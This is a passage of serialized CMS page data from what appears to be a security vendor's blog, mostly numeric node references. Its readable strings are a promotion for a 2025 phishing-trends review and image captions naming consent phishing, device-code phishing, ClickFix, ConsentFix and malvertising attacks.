arks":89786,"value":84148,"nodeType":865},{},[],{"data":89788,"content":89791,"nodeType":912},{"target":89789},{"sys":89790},{"id":84153,"type":909,"linkType":910},[],{"data":89793,"content":89794,"nodeType":972},{},[],{"data":89796,"content":89797,"nodeType":981},{},[89798],{"data":89799,"marks":89800,"value":84165,"nodeType":865},{},[89801],{"type":926},{"data":89803,"content":89804,"nodeType":866},{},[89805],{"data":89806,"marks":89807,"value":84172,"nodeType":865},{},[],{"data":89809,"content":89810,"nodeType":1616},{},[89811,89820,89829],{"data":89812,"content":89813,"nodeType":1570},{},[89814],{"data":89815,"content":89816,"nodeType":866},{},[89817],{"data":89818,"marks":89819,"value":84185,"nodeType":865},{},[],{"data":89821,"content":89822,"nodeType":1570},{},[89823],{"data":89824,"content":89825,"nodeType":866},{},[89826],{"data":89827,"marks":89828,"value":84195,"nodeType":865},{},[],{"data":89830,"content":89831,"nodeType":1570},{},[89832],{"data":89833,"content":89834,"nodeType":866},{},[89835],{"data":89836,"marks":89837,"value":84205,"nodeType":865},{},[],{"data":89839,"content":89840,"nodeType":866},{},[89841],{"data":89842,"marks":89843,"value":84212,"nodeType":865},{},[],{"data":89845,"content":89846,"nodeType":972},{},[],{"data":89848,"content":89849,"nodeType":981},{},[89850],{"data":89851,"marks":89852,"value":84223,"nodeType":865},{},[89853],{"type":926},{"data":89855,"content":89856,"nodeType":866},{},[89857],{"data":89858,"marks":89859,"value":84230,"nodeType":865},{},[],{"data":89861,"content":89862,"nodeType":866},{},[89863],{"data":89864,"marks":89865,"value":84237,"nodeType":865},{},[],{"data":89867,"content":89868,"nodeType":866},{},[89869,89872,89879,89882,89889],{"data":89870,"marks":89871,"value":11372,"nodeType":865},{},[],{"data":89873,"content":89874,"nodeType":889},{"uri":11375},[89875],{"data":89876,"marks":89877,"value":11381,"nodeType":865},{},[89878],{"type":943},{"data":89880,"marks":89881,"value":53880,"nodeType":865},{},[],{"data":89883,"content":89884,"nodeType":889},{"uri":1372},[89885],{"data":89886,"marks":89887,"value":11405,"nodeType":865},{},[89888],{"type":943},{"data":89890,"marks":89891,"value":1615,"nodeType":865},{},[],{"data":89893,"content":89896,"nodeType":912},{"target":89894},{"sys":89895},{"id":67359,"type":909,"linkType":910},[],{"data":89898,"content":89899,"nodeType":866},{},[89900],{"data":89901,"marks":89902,"value":21,"nodeType":865},{},[],{"items":89904},[89905,89907],{"sys":89906,"name":342},{"id":4642},{"sys":89908,"name":7796},{"id":7795},{"items":89910},[89911],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":89912},{"url":7804},"blog/taking-the-fight-to-attackers-top-features-of-2025",{"json":89915},{"data":89916,"content":89917,"nodeType":1382},{},[89918],{"data":89919,"content":89920,"nodeType":866},{},[89921],{"data":89922,"marks":89923,"value":89924,"nodeType":865},{},[],"Here’s how real-world attacks and our own R&D informed what we built this year.",{"id":79418,"publishedAt":89926},"2026-08-13T09:35:11.859Z",{"items":89928},[89929,89931],{"sys":89930,"name":342},{"id":4642},{"sys":89932,"name":7796},{"id":7795},{"items":89934},[89935,89937,89939,89941,89943,89945,89947,89949,89951,89953,89955,89957,89959,89961,89963,89965,89967,89969,89971,89973,89975],{"sys":89936,"name":279,"slug":280,"tier":31},{"id":276},{"sys":89938,"name":413,"slug":414,"tier":31},{"id":410},{"sys":89940,"name":297,"slug":298,"tier":31},{"id":294},{"sys":89942,"name":519,"slug":520,"tier":31},{"id":516},{"sys":89944,"name":342,"slug":343,"tier":31},{"id":339},{"sys":89946,"name":642,"slug":643,"tier":31},{"id":639},{"sys":89948,"name":261,"slug":262,"tier":45},{"id":258},{"sys":89950,"name":315,"slug":316,"tier":45},{"id":312},{"sys":89952,"name":333,"slug":334,"tier":45},{"id":330},{"sys":89954,"name":571,"slug":572,"tier":45},{"id":568},{"sys":89956,"name":466,"slug":467,"tier":45},{"id":463},{"sys":89958,"name":511,"slug":512,"tier":45},{"id":508},{"sys":89960,"name":288,"slug":289,"tier":45},{"id":285},{"sys":89962,"name":395,"slug":396,"tier":45},{"id":392},{"sys":89964,"name":502,"slug":503,"tier":45},{"id":499},{"sys":89966,"name":457,"slug":458,"tier":45},{"id":454},{"sys":89968,"name":607,"slug":608,"tier":45},{"id":604},{"sys":89970,"name":422,"slug":423,"tier":45},{"id":419},{"sys":89972,"name":324,"slug":325,"tier":45},{"id":321},{"sys":89974,"name":440,"slug":441,"tier":45},{"id":437},{"sys":89976,"name":650,"slug":651,"tier":45},{"id":647},"PWDqfteh31QCBsZyOGrfwwzxqUSG34OMPlcKf1pr6SQ",{"id":89979,"title":84275,"authorsCollection":89980,"content":89985,"extension":228,"faqItemsCollection":90652,"faqTitle":59,"featured":6,"hashTags":59,"meta":90654,"metaTitle":90655,"ogImage":59,"postType":1424,"publishedDate":84277,"relatedBlogPostsCollection":90656,"slug":84278,"stem":92754,"subtitle":59,"summary":92755,"synopsis":84276,"sys":92766,"tagsCollection":92768,"topicsCollection":92774,"__hash__":92820},"blog/blog/2025-top-phishing-trends.json",{"items":89981},[89982],{"fullName":7800,"firstName":7801,"jobTitle":7802,"socialLinks":89983,"profilePicture":89984},[30152],{"url":7804},{"json":89986,"links":90566},{"data":89987,"content":89988,"nodeType":1382},{},[89989,89994,90000,90006,90009,90016,90022,90028,90034,90114,90119,90124,90129,90135,90141,90157,90160,90167,90173,90179,90185,90221,90227,90267,90272,90278,90284,90287,90294,90300,90306,90312,90376,90381,90386,90412,90417,90433,90438,90444,90450,90455,90458,90465,90471,90501,90507,90510,90517,90523,90529,90555,90560],{"data":89990,"content":89993,"nodeType":912},{"target":89991},{"sys":89992},{"id":83618,"type":909,"linkType":910},[],{"data":89995,"content":89996,"nodeType":866},{},[89997],{"data":89998,"marks":89999,"value":83626,"nodeType":865},{},[],{"data":90001,"content":90002,"nodeType":866},{},[90003],{"data":90004,"marks":90005,"value":83633,"nodeType":865},{},[],{"data":90007,"content":90008,"nodeType":972},{},[],{"data":90010,"content":90011,"nodeType":981},{},[90012],{"data":90013,"marks":90014,"value":83644,"nodeType":865},{},[90015],{"type":926},{"data":90017,"content":90018,"nodeType":866},{},[90019],{"data":90020,"marks":90021,"value":83651,"nodeType":865},{},[],{"data":90023,"content":90024,"nodeType":866},{},[90025],{"data":90026,"marks":90027,"value":83658,"nodeType":865},{},[],{"data":90029,"content":90030,"nodeType":866},{},[90031],{"data":90032,"marks":90033,"value":83665,"nodeType":865},{},[],{"data":90035,"content":90036,"nodeType":1616},{},[90037,90056,90075],{"data":90038,"content":90039,"nodeType":1570},{},[90040],{"data":90041,"content":90042,"nodeType":866},{},[90043,90046,90053],{"data":90044,"marks":90045,"value":21,"nodeType":865},{},[],{"data":90047,"content":90048,"nodeType":889},{"uri":83680},[90049],{"data":90050,"marks":90051,"value":83686,"nodeType":865},{},[90052],{"type":943},{"data":90054,"marks":90055,"value":83690,"nodeType":865},{},[],{"data":90057,"content":90058,"nodeType":1570},{},[90059],{"data":90060,"content":90061,"nodeType":866},{},[90062,90065,90072],{"data":90063,"marks":90064,"value":21,"nodeType":865},{},[],{"data":90066,"content":90067,"nodeType":889},{"uri":83702},[90068],{"data":90069,"marks":90070,"value":83708,"nodeType":865},{},[90071],{"type":943},{"data":90073,"marks":90074,"value":83712,"nodeType":865},{},[],{"data":90076,"content":90077,"nodeType":1570},{},[90078],{"data":90079,"content":90080,"nodeType":866},{},[90081,90084,90091,90094,90101,90104,90111],{"data":90082,"marks":90083,"value":83722,"nodeType":865},{},[],{"data":90085,"content":90086,"nodeType":889},{"uri":83725},[90087],{"data":90088,"marks":90089,"value":83731,"nodeType":865},{},[90090],{"type":943},{"data":90092,"marks":90093,"value":83735,"nodeType":865},{},[],{"data":90095,"content":90096,"nodeType":889},{"uri":83738},[90097],{"data":90098,"marks":90099,"value":70863,"nodeType":865},{},[90100],{"type":943},{"data":90102,"marks":90103,"value":83747,"nodeType":865},{},[],{"data":90105,"content":90106,"nodeType":889},{"uri":83750},[90107],{"data":90108,"marks":90109,"value":70887,"nodeType":865},{},[90110],{"type":943},{"data":90112,"marks":90113,"value":83759,"nodeType":865},{},[],{"data":90115,"content":90118,"nodeType":912},{"target":90116},{"sys":90117},{"id":83764,"type":909,"linkType":910},[],{"data":90120,"content":90123,"nodeType":912},{"target":90121},{"sys":90122},{"id":83770,"type":909,"linkType":910},[],{"data":90125,"content":90128,"nodeType":912},{"target":90126},{"sys":90127},{"id":83776,"type":909,"linkType":910},[],{"data":90130,"content":90131,"nodeType":866},{},[90132],{"data":90133,"marks":90134,"value":83784,"nodeType":865},{},[],{"data":90136,"content":90137,"nodeType":866},{},[90138],{"data":90139,"marks":90140,"value":83791,"nodeType":865},{},[],{"data":90142,"content":90143,"nodeType":866},{},[90144,90147,90154],{"data":90145,"marks":90146,"value":83798,"nodeType":865},{},[],{"data":90148,"content":90149,"nodeType":889},{"uri":83801},[90150],{"data":90151,"marks":90152,"value":8673,"nodeType":865},{},[90153],{"type":943},{"data":90155,"marks":90156,"value":83810,"nodeType":865},{},[],{"data":90158,"content":90159,"nodeType":972},{},[],{"data":90161,"content":90162,"nodeType":981},{},[90163],{"data":90164,"marks":90165,"value":83821,"nodeType":865},{},[90166],{"type":926},{"data":90168,"content":90169,"nodeType":866},{},[90170],{"data":90171,"marks":90172,"value":83828,"nodeType":865},{},[],{"data":90174,"content":90175,"nodeType":866},{},[90176],{"data":90177,"marks":90178,"value":83835,"nodeType":865},{},[],{"data":90180,"content":90181,"nodeType":866},{},[90182],{"data":90183,"marks":90184,"value":83842,"nodeType":865},{},[],{"data":90186,"content":90187,"nodeType":866},{},[90188,90191,90198,90201,90208,90211,90218],{"data":90189,"marks":90190,"value":83849,"nodeType":865},{},[],{"data":90192,"content":90193,"nodeType":889},{"uri":83852},[90194],{"data":90195,"marks":90196,"value":83858,"nodeType":865},{},[90197],{"type":943},{"data":90199,"marks":90200,"value":3476,"nodeType":865},{},[],{"data":90202,"content":90203,"nodeType":889},{"uri":8862},[90204],{"data":90205,"marks":90206,"value":8868,"nodeType":865},{},[90207],{"type":943},{"data":90209,"marks":90210,"value":83872,"nodeType":865},{},[],{"data":90212,"content":90213,"nodeType":889},{"uri":83875},[90214],{"data":90215,"marks":90216,"value":83881,"nodeType":865},{},[90217],{"type":943},{"data":90219,"marks":90220,"value":83885,"nodeType":865},{},[],{"data":90222,"content":90223,"nodeType":866},{},[90224],{"data":90225,"marks":90226,"value":83892,"nodeType":865},{},[],{"data":90228,"content":90229,"nodeType":1616},{},[90230,90239,90248],{"data":90231,"content":90232,"nodeType":1570},{},[90233],{"data":90234,"content":90235,"nodeType":866},{},[90236],{"data":90237,"marks":90238,"value":83905,"nodeType":865},{},[],{"data":90240,"content":90241,"nodeType":1570},{},[90242],{"data":90243,"content":90244,"nodeType":866},{},[90245],{"data":90246,"marks":90247,"value":83915,"nodeType":865},{},[],{"data":90249,"content":90250,"nodeType":1570},{},[90251],{"data":90252,"content":90253,"nodeType":866},{},[90254,90257,90264],{"data":90255,"marks":90256,"value":83925,"nodeType":865},{},[],{"data":90258,"content":90259,"nodeType":889},{"uri":66627},[90260],{"data":90261,"marks":90262,"value":83933,"nodeType":865},{},[90263],{"type":943},{"data":90265,"marks":90266,"value":83937,"nodeType":865},{},[],{"data":90268,"content":90271,"nodeType":912},{"target":90269},{"sys":90270},{"id":83942,"type":909,"linkType":910},[],{"data":90273,"content":90274,"nodeType":866},{},[90275],{"data":90276,"marks":90277,"value":83950,"nodeType":865},{},[],{"data":90279,"content":90280,"nodeType":866},{},[90281],{"data":90282,"marks":90283,"value":83957,"nodeType":865},{},[],{"data":90285,"content":90286,"nodeType":972},{},[],{"data":90288,"content":90289,"nodeType":981},{},[90290],{"data":90291,"marks":90292,"value":83968,"nodeType":865},{},[90293],{"type":926},{"data":90295,"content":90296,"nodeType":866},{},[90297],{"data":90298,"marks":90299,"value":83975,"nodeType":865},{},[],{"data":90301,"content":90302,"nodeType":866},{},[90303],{"data":90304,"marks":90305,"value":83982,"nodeType":865},{},[],{"data":90307,"content":90308,"nodeType":866},{},[90309],{"data":90310,"marks":90311,"value":83989,"nodeType":865},{},[],{"data":90313,"content":90314,"nodeType":1616},{},[90315,90339,90363],{"data":90316,"content":90317,"nodeType":1570},{},[90318],{"data":90319,"content":90320,"nodeType":866},{},[90321,90324,90332,90336],{"data":90322,"marks":90323,"value":21,"nodeType":865},{},[],{"data":90325,"content":90326,"nodeType":889},{"uri":56197},[90327],{"data":90328,"marks":90329,"value":84010,"nodeType":865},{},[90330,90331],{"type":943},{"type":926},{"data":90333,"marks":90334,"value":84015,"nodeType":865},{},[90335],{"type":926},{"data":90337,"marks":90338,"value":84019,"nodeType":865},{},[],{"data":90340,"content":90341,"nodeType":1570},{},[90342],{"data":90343,"content":90344,"nodeType":866},{},[90345,90348,90356,90360],{"data":90346,"marks":90347,"value":21,"nodeType":865},{},[],{"data":90349,"content":90350,"nodeType":889},{"uri":8450},[90351],{"data":90352,"marks":90353,"value":360,"nodeType":865},{},[90354,90355],{"type":943},{"type":926},{"data":90357,"marks":90358,"value":7578,"nodeType":865},{},[90359],{"type":926},{"data":90361,"marks":90362,"value":84044,"nodeType":865},{},[],{"data":90364,"content":90365,"nodeType":1570},{},[90366],{"data":90367,"content":90368,"nodeType":866},{},[90369,90373],{"data":90370,"marks":90371,"value":84055,"nodeType":865},{},[90372],{"type":926},{"data":90374,"marks":90375,"value":84059,"nodeType":865},{},[],{"data":90377,"content":90380,"nodeType":912},{"target":90378},{"sys":90379},{"id":84064,"type":909,"linkType":910},[],{"data":90382,"content":90385,"nodeType":912},{"target":90383},{"sys":90384},{"id":84070,"type":909,"linkType":910},[],{"data":90387,"content":90388,"nodeType":866},{},[90389,90392,90399,90402,90409],{"data":90390,"marks":90391,"value":84078,"nodeType":865},{},[],{"data":90393,"content":90394,"nodeType":889},{"uri":84081},[90395],{"data":90396,"marks":90397,"value":315,"nodeType":865},{},[90398],{"type":943},{"data":90400,"marks":90401,"value":84090,"nodeType":865},{},[],{"data":90403,"content":90404,"nodeType":889},{"uri":84093},[90405],{"data":90406,"marks":90407,"value":84099,"nodeType":865},{},[90408],{"type":943},{"data":90410,"marks":90411,"value":84103,"nodeType":865},{},[],{"data":90413,"content":90416,"nodeType":912},{"target":90414},{"sys":90415},{"id":84108,"type":909,"linkType":910},[],{"data":90418,"content":90419,"nodeType":866},{},[90420,90423,90430],{"data":90421,"marks":90422,"value":84116,"nodeType":865},{},[],{"data":90424,"content":90425,"nodeType":889},{"uri":84119},[90426],{"data":90427,"marks":90428,"value":7465,"nodeType":865},{},[90429],{"type":943},{"data":90431,"marks":90432,"value":84128,"nodeType":865},{},[],{"data":90434,"content":90437,"nodeType":912},{"target":90435},{"sys":90436},{"id":84133,"type":909,"linkType":910},[],{"data":90439,"content":90440,"nodeType":866},{},[90441],{"data":90442,"marks":90443,"value":84141,"nodeType":865},{},[],{"data":90445,"content":90446,"nodeType":866},{},[90447],{"data":90448,"marks":90449,"value":84148,"nodeType":865},{},[],{"data":90451,"content":90454,"nodeType":912},{"target":90452},{"sys":90453},{"id":84153,"type":909,"linkType":910},[],{"data":90456,"content":90457,"nodeType":972},{},[],{"data":90459,"content":90460,"nodeType":981},{},[90461],{"data":90462,"marks":90463,"value":84165,"nodeType":865},{},[90464],{"type":926},{"data":90466,"content":90467,"nodeType":866},{},[90468],{"data":90469,"marks":90470,"value":84172,"nodeType":865},{},[],{"data":90472,"content":90473,"nodeType":1616},{},[90474,90483,90492],{"data":90475,"content":90476,"nodeType":1570},{},[90477],{"data":90478,"content":90479,"nodeType":866},{},[90480],{"data":90481,"marks":90482,"value":84185,"nodeType":865},{},[],{"data":90484,"content":90485,"nodeType":1570},{},[90486],{"data":90487,"content":90488,"nodeType":866},{},[90489],{"data":90490,"marks":90491,"value":84195,"nodeType":865},{},[],{"data":90493,"content":90494,"nodeType":1570},{},[90495],{"data":90496,"content":90497,"nodeType":866},{},[90498],{"data":90499,"marks":90500,"value":84205,"nodeType":865},{},[],{"data":90502,"content":90503,"nodeType":866},{},[90504],{"data":90505,"marks":90506,"value":84212,"nodeType":865},{},[],{"data":90508,"content":90509,"nodeType":972},{},[],{"data":90511,"content":90512,"nodeType":981},{},[90513],{"data":90514,"marks":90515,"value":84223,"nodeType":865},{},[90516],{"type":926},{"data":90518,"content":90519,"nodeType":866},{},[90520],{"data":90521,"marks":90522,"value":84230,"nodeType":865},{},[],{"data":90524,"content":90525,"nodeType":866},{},[90526],{"data":90527,"marks":90528,"value":84237,"nodeType":865},{},[],{"data":90530,"content":90531,"nodeType":866},{},[90532,90535,90542,90545,90552],{"data":90533,"marks":90534,"value":11372,"nodeType":865},{},[],{"data":90536,"content":90537,"nodeType":889},{"uri":11375},[90538],{"data":90539,"marks":90540,"value":11381,"nodeType":865},{},[90541],{"type":943},{"data":90543,"marks":90544,"value":53880,"nodeType":865},{},[],{"data":90546,"content":90547,"nodeType":889},{"uri":1372},[90548],{"data":90549,"marks":90550,"value":11405,"nodeType":865},{},[90551],{"type":943},{"data":90553,"marks":90554,"value":1615,"nodeType":865},{},[],{"data":90556,"content":90559,"nodeType":912},{"target":90557},{"sys":90558},{"id":67359,"type":909,"linkType":910},[],{"data":90561,"content":90562,"nodeType":866},{},[90563],{"data":90564,"marks":90565,"value":21,"nodeType":865},{},[],{"entries":90567},{"hyperlink":90568,"inline":90569,"block":90570},[],[],[90571,90596,90601,90607,90612,90618,90623,90630,90636,90643,90649],{"sys":90572,"__typename":5503,"content":90573,"name":90595,"title":59},{"id":83618},{"json":90574},{"nodeType":1382,"data":90575,"content":90576},{},[90577],{"nodeType":866,"data":90578,"content":90579},{},[90580,90584,90592],{"nodeType":865,"value":90581,"marks":90582,"data":90583},"We recently ran a webinar packed full of attack demo's, showcasing some of the most interesting attacks intercepted by Push in 2025. ",[],{},{"nodeType":889,"data":90585,"content":90587},{"uri":90586},"https://pushsecurity.com/webinar/phishing-2025-review",[90588],{"nodeType":865,"value":90589,"marks":90590,"data":90591},"You can now watch it on demand here!",[],{},{"nodeType":865,"value":21,"marks":90593,"data":90594},[],{},"Top phishing trends insight box 1",{"sys":90597,"__typename":1390,"title":90598,"caption":90598,"layoutMode":59,"file":90599},{"id":83764},"Fake private equity fund page hosted on Google Sites. ",{"url":90600,"width":1402,"height":65371},"https://images.ctfassets.net/y1cdw1ablpvd/2DbF1Lj4h5HVGrqDhlVlTF/9efa11f318206eb913d83c254746efb1/1.png",{"sys":90602,"__typename":1390,"title":90603,"caption":90603,"layoutMode":59,"file":90604},{"id":83770},"Custom investment fund landing page hosted on Firebase.",{"url":90605,"width":1402,"height":90606},"https://images.ctfassets.net/y1cdw1ablpvd/2NH9muR2eBEPEybqQ8o0yu/ef66b40c7428790c9017181e17b33558/2.png",1080,{"sys":90608,"__typename":1390,"title":90609,"caption":90609,"layoutMode":59,"file":90610},{"id":83776},"Malvertising link for “Google Ads” taking the top Sponsored Results spot.",{"url":90611,"width":1402,"height":84884},"https://images.ctfassets.net/y1cdw1ablpvd/2gQcwHSyUKIoqlW1upRSzK/5ead4c9e6c1e6659be7d781ad85ed9ea/3.png",{"sys":90613,"__typename":1390,"title":90614,"caption":90614,"layoutMode":59,"file":90615},{"id":83942},"Example of a typical phishing link chain incorporating legitimate websites before serving up a phishing page, as shown in the Push Security “Timelines” detection feature.",{"url":90616,"width":90617,"height":1402},"https://images.ctfassets.net/y1cdw1ablpvd/3WZkEAVsAH7PWtcoQJfDG1/03826279b5dd2bc11fbbf34f82c59136/4.png",1743,{"sys":90619,"__typename":1390,"title":90620,"caption":90620,"layoutMode":59,"file":90621},{"id":84064},"Consent phishing examples where an attacker tricks the victim into authorizing an attacker-controlled app with risky permissions.",{"url":90622,"width":1402,"height":65685},"https://images.ctfassets.net/y1cdw1ablpvd/2ZgY3mMKcE6IGpH55kOuL4/2a7e78e97654faa61cf8e8b002789b96/5.png",{"sys":90624,"__typename":1390,"title":90625,"caption":90625,"layoutMode":59,"file":90626},{"id":84070},"Device code phishing targeting Salesforce, as seen in the Scattered Lapsus$ Hunters campaign. ",{"url":90627,"width":90628,"height":90629},"https://images.ctfassets.net/y1cdw1ablpvd/7uvYjRiqG4E7qj3PTmTZzW/3d3ed52d3157bf12a630e35eb2ae08d1/6.png",1488,950,{"sys":90631,"__typename":1390,"title":90632,"caption":90632,"layoutMode":59,"file":90633},{"id":84108},"ClickFix attacks prompt the victim to “fix” an issue on the webpage by running code locally on their machine.",{"url":90634,"width":1402,"height":90635},"https://images.ctfassets.net/y1cdw1ablpvd/1LXv96rhy5Sv6SBlJP0bJS/6fb6b49dcd2bdc003c2aa60ed271708f/7.png",1117,{"sys":90637,"__typename":1390,"title":90638,"caption":90638,"layoutMode":59,"file":90639},{"id":84133},"ConsentFix prompts victims to paste a URL containing an OAuth code, authorising a connection to the attacker’s OAuth app tenant. ",{"url":90640,"width":90641,"height":90642},"https://images.ctfassets.net/y1cdw1ablpvd/7IfG43sz0jRnrNiKsMwN8j/1373b7cd86fe969acad27ad956612ca0/8.png",1225,1135,{"sys":90644,"__typename":1390,"title":90645,"caption":90645,"layoutMode":59,"file":90646},{"id":84153},"There are lots of ways that attackers can achieve account takeover today via phishing / social engineering.",{"url":90647,"width":1402,"height":90648},"https://images.ctfassets.net/y1cdw1ablpvd/4Wz7gAJLWDyaGjj030ypH2/7a07f1e5c46cdebd2e395d0ceb412387/9.png",969,{"sys":90650,"__typename":1414,"type":1415,"ctaText":90651,"buttonLabel":68733,"buttonColour":1418,"buttonUrl":90586},{"id":67359},"Learn how phishing evolved in 2025, showcasing the most sophisticated attacks and key trends uncovered by Push researchers",{"items":90653},[],{},"Analyzing 2025's top phishing trends",{"items":90657},[90658,91406,91926],{"__typename":1429,"sys":90659,"content":90660,"title":36702,"synopsis":67367,"hashTags":59,"publishedDate":67368,"slug":36703,"tagsCollection":91396,"authorsCollection":91402},{"id":33802},{"json":90661},{"data":90662,"content":90663,"nodeType":1382},{},[90664,90671,90677,90683,90689,90699,90705,90710,90715,90718,90725,90731,90737,90742,90758,90764,90769,90775,90780,90786,90825,90830,90835,90841,90847,90850,90857,90873,90879,90884,90900,90905,90921,90927,90930,90937,90943,90979,90989,90992,90999,91014,91020,91033,91039,91045,91050,91056,91059,91066,91072,91120,91126,91129,91136,91141,91147,91153,91158,91164,91193,91199,91205,91210,91216,91221,91228,91244,91250,91280,91286,91316,91319,91326,91332,91337,91353,91359,91385,91390],{"data":90665,"content":90666,"nodeType":981},{},[90667],{"data":90668,"marks":90669,"value":66534,"nodeType":865},{},[90670],{"type":926},{"data":90672,"content":90673,"nodeType":866},{},[90674],{"data":90675,"marks":90676,"value":66541,"nodeType":865},{},[],{"data":90678,"content":90679,"nodeType":866},{},[90680],{"data":90681,"marks":90682,"value":66548,"nodeType":865},{},[],{"data":90684,"content":90685,"nodeType":866},{},[90686],{"data":90687,"marks":90688,"value":66555,"nodeType":865},{},[],{"data":90690,"content":90691,"nodeType":866},{},[90692,90696],{"data":90693,"marks":90694,"value":66563,"nodeType":865},{},[90695],{"type":926},{"data":90697,"marks":90698,"value":66567,"nodeType":865},{},[],{"data":90700,"content":90701,"nodeType":866},{},[90702],{"data":90703,"marks":90704,"value":66574,"nodeType":865},{},[],{"data":90706,"content":90709,"nodeType":912},{"target":90707},{"sys":90708},{"id":66579,"type":909,"linkType":910},[],{"data":90711,"content":90714,"nodeType":912},{"target":90712},{"sys":90713},{"id":66585,"type":909,"linkType":910},[],{"data":90716,"content":90717,"nodeType":972},{},[],{"data":90719,"content":90720,"nodeType":981},{},[90721],{"data":90722,"marks":90723,"value":66597,"nodeType":865},{},[90724],{"type":926},{"data":90726,"content":90727,"nodeType":866},{},[90728],{"data":90729,"marks":90730,"value":66604,"nodeType":865},{},[],{"data":90732,"content":90733,"nodeType":866},{},[90734],{"data":90735,"marks":90736,"value":66611,"nodeType":865},{},[],{"data":90738,"content":90741,"nodeType":912},{"target":90739},{"sys":90740},{"id":66616,"type":909,"linkType":910},[],{"data":90743,"content":90744,"nodeType":866},{},[90745,90748,90755],{"data":90746,"marks":90747,"value":66624,"nodeType":865},{},[],{"data":90749,"content":90750,"nodeType":889},{"uri":66627},[90751],{"data":90752,"marks":90753,"value":66633,"nodeType":865},{},[90754],{"type":943},{"data":90756,"marks":90757,"value":66637,"nodeType":865},{},[],{"data":90759,"content":90760,"nodeType":866},{},[90761],{"data":90762,"marks":90763,"value":66644,"nodeType":865},{},[],{"data":90765,"content":90768,"nodeType":912},{"target":90766},{"sys":90767},{"id":66649,"type":909,"linkType":910},[],{"data":90770,"content":90771,"nodeType":866},{},[90772],{"data":90773,"marks":90774,"value":66657,"nodeType":865},{},[],{"data":90776,"content":90779,"nodeType":912},{"target":90777},{"sys":90778},{"id":66662,"type":909,"linkType":910},[],{"data":90781,"content":90782,"nodeType":866},{},[90783],{"data":90784,"marks":90785,"value":66670,"nodeType":865},{},[],{"data":90787,"content":90788,"nodeType":1616},{},[90789,90798,90807,90816],{"data":90790,"content":90791,"nodeType":1570},{},[90792],{"data":90793,"content":90794,"nodeType":866},{},[90795],{"data":90796,"marks":90797,"value":66683,"nodeType":865},{},[],{"data":90799,"content":90800,"nodeType":1570},{},[90801],{"data":90802,"content":90803,"nodeType":866},{},[90804],{"data":90805,"marks":90806,"value":66693,"nodeType":865},{},[],{"data":90808,"content":90809,"nodeType":1570},{},[90810],{"data":90811,"content":90812,"nodeType":866},{},[90813],{"data":90814,"marks":90815,"value":66703,"nodeType":865},{},[],{"data":90817,"content":90818,"nodeType":1570},{},[90819],{"data":90820,"content":90821,"nodeType":866},{},[90822],{"data":90823,"marks":90824,"value":66713,"nodeType":865},{},[],{"data":90826,"content":90829,"nodeType":912},{"target":90827},{"sys":90828},{"id":66718,"type":909,"linkType":910},[],{"data":90831,"content":90834,"nodeType":912},{"target":90832},{"sys":90833},{"id":66724,"type":909,"linkType":910},[],{"data":90836,"content":90837,"nodeType":866},{},[90838],{"data":90839,"marks":90840,"value":66732,"nodeType":865},{},[],{"data":90842,"content":90843,"nodeType":866},{},[90844],{"data":90845,"marks":90846,"value":66739,"nodeType":865},{},[],{"data":90848,"content":90849,"nodeType":972},{},[],{"data":90851,"content":90852,"nodeType":981},{},[90853],{"data":90854,"marks":90855,"value":66750,"nodeType":865},{},[90856],{"type":926},{"data":90858,"content":90859,"nodeType":866},{},[90860,90863,90870],{"data":90861,"marks":90862,"value":66757,"nodeType":865},{},[],{"data":90864,"content":90865,"nodeType":889},{"uri":66760},[90866],{"data":90867,"marks":90868,"value":66766,"nodeType":865},{},[90869],{"type":943},{"data":90871,"marks":90872,"value":66770,"nodeType":865},{},[],{"data":90874,"content":90875,"nodeType":866},{},[90876],{"data":90877,"marks":90878,"value":66777,"nodeType":865},{},[],{"data":90880,"content":90883,"nodeType":912},{"target":90881},{"sys":90882},{"id":66782,"type":909,"linkType":910},[],{"data":90885,"content":90886,"nodeType":866},{},[90887,90890,90897],{"data":90888,"marks":90889,"value":66790,"nodeType":865},{},[],{"data":90891,"content":90892,"nodeType":889},{"uri":14355},[90893],{"data":90894,"marks":90895,"value":66798,"nodeType":865},{},[90896],{"type":943},{"data":90898,"marks":90899,"value":1615,"nodeType":865},{},[],{"data":90901,"content":90904,"nodeType":912},{"target":90902},{"sys":90903},{"id":66806,"type":909,"linkType":910},[],{"data":90906,"content":90907,"nodeType":866},{},[90908,90911,90918],{"data":90909,"marks":90910,"value":66814,"nodeType":865},{},[],{"data":90912,"content":90913,"nodeType":889},{"uri":66817},[90914],{"data":90915,"marks":90916,"value":441,"nodeType":865},{},[90917],{"type":943},{"data":90919,"marks":90920,"value":66826,"nodeType":865},{},[],{"data":90922,"content":90923,"nodeType":866},{},[90924],{"data":90925,"marks":90926,"value":66833,"nodeType":865},{},[],{"data":90928,"content":90929,"nodeType":972},{},[],{"data":90931,"content":90932,"nodeType":981},{},[90933],{"data":90934,"marks":90935,"value":66844,"nodeType":865},{},[90936],{"type":926},{"data":90938,"content":90939,"nodeType":866},{},[90940],{"data":90941,"marks":90942,"value":66851,"nodeType":865},{},[],{"data":90944,"content":90945,"nodeType":866},{},[90946,90949,90956,90959,90966,90969,90976],{"data":90947,"marks":90948,"value":66858,"nodeType":865},{},[],{"data":90950,"content":90951,"nodeType":889},{"uri":66861},[90952],{"data":90953,"marks":90954,"value":66867,"nodeType":865},{},[90955],{"type":943},{"data":90957,"marks":90958,"value":4988,"nodeType":865},{},[],{"data":90960,"content":90961,"nodeType":889},{"uri":66873},[90962],{"data":90963,"marks":90964,"value":8061,"nodeType":865},{},[90965],{"type":943},{"data":90967,"marks":90968,"value":66882,"nodeType":865},{},[],{"data":90970,"content":90971,"nodeType":889},{"uri":66885},[90972],{"data":90973,"marks":90974,"value":66891,"nodeType":865},{},[90975],{"type":943},{"data":90977,"marks":90978,"value":66895,"nodeType":865},{},[],{"data":90980,"content":90981,"nodeType":866},{},[90982,90985],{"data":90983,"marks":90984,"value":66902,"nodeType":865},{},[],{"data":90986,"marks":90987,"value":66907,"nodeType":865},{},[90988],{"type":926},{"data":90990,"content":90991,"nodeType":972},{},[],{"data":90993,"content":90994,"nodeType":981},{},[90995],{"data":90996,"marks":90997,"value":66918,"nodeType":865},{},[90998],{"type":926},{"data":91000,"content":91001,"nodeType":866},{},[91002,91005,91011],{"data":91003,"marks":91004,"value":66925,"nodeType":865},{},[],{"data":91006,"content":91007,"nodeType":889},{"uri":8862},[91008],{"data":91009,"marks":91010,"value":8868,"nodeType":865},{},[],{"data":91012,"marks":91013,"value":66935,"nodeType":865},{},[],{"data":91015,"content":91016,"nodeType":866},{},[91017],{"data":91018,"marks":91019,"value":66942,"nodeType":865},{},[],{"data":91021,"content":91022,"nodeType